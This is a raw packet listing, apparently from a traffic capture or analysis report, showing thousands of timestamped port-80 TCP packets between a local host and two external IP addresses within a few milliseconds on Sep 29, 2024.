Sep 29, 2024 00:53:24.934729099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934735060 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934745073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934751034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934756041 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934762955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934773922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934778929 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934778929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934786081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934791088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934803963 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934825897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934853077 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934875965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934883118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934892893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934897900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934904099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934909105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934921026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934926987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934932947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934943914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934947968 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934947968 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.934948921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934961081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.934969902 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935007095 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935015917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935026884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935033083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935043097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935049057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935061932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935066938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935072899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935084105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935087919 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935087919 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935091019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935101986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935106993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.935118914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935125113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935136080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935137033 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935137033 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935142040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935147047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935154915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935164928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935218096 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.935216904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935216904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935327053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935339928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935344934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935350895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935357094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935363054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935364008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935369015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935374975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935381889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935395002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935398102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935403109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935429096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935447931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935458899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935465097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935476065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935482025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935487032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935492039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935506105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935508966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935518980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935522079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935523987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935530901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935535908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935545921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935553074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935599089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935605049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935616016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935621023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935626984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935631990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935636997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935636997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935645103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935653925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935656071 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935662031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935674906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935678005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935684919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935689926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935695887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935698986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935703039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935710907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935714960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935720921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935725927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935730934 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935731888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935745001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935750008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935758114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935765982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935771942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935776949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935784101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935787916 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935787916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935794115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935798883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.935833931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.935863018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936080933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936086893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936127901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936134100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936140060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936150074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936163902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936168909 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936171055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936176062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936182022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936192036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936201096 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936202049 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936204910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936209917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936216116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936220884 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936223030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936228037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936230898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936234951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936247110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936253071 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936259031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936264992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936270952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936281919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936286926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936297894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936297894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936300039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936342955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936346054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936342955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936357975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936359882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936371088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936376095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936382055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936393976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936400890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936405897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936418056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936424017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936424017 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936424017 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936429977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936434984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936450958 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936474085 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936487913 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936495066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936501026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936517000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936522961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936532974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936539888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936546087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936547995 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936553001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936558008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.936564922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936569929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936573982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936578989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936584949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936588049 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936589956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936597109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936615944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936626911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936630964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.936849117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936856031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936861038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936866045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936871052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936877012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936888933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936892033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936896086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936902046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936908007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936908960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936924934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936929941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936939001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936954975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936964035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.936971903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936979055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936984062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936990023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.936995029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937000036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937005997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937011003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937016010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937016964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937025070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937036037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937036991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937042952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937051058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937083960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937108040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937114954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937120914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937127113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937135935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937141895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937146902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937151909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937156916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937158108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937170982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937175989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937180042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937181950 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937189102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937194109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937212944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937238932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937246084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937248945 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937252998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937258005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937263012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937272072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937274933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937280893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937285900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937292099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937292099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937298059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937303066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937314987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937320948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937321901 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937350035 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937350035 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937406063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937597990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937603951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937614918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937619925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937624931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937630892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937635899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937650919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937657118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937660933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937661886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937674999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937685966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937689066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937689066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937691927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937699080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937704086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937710047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937715054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937727928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937731028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937731028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937732935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.937756062 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.937783957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.938144922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938199997 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.938209057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938215017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938327074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938333035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938344002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938349962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.938355923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938360929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938371897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938376904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938385010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.938385010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.938405037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938406944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.938410997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938422918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938426018 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938426018 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938427925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938440084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938446045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938487053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938487053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938518047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938524008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938530922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938541889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938555002 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938560963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938570976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938577890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938577890 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938577890 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938590050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938596010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.938617945 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938617945 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.938644886 CEST	49712	80	192.168.2.9	176.113.115.95
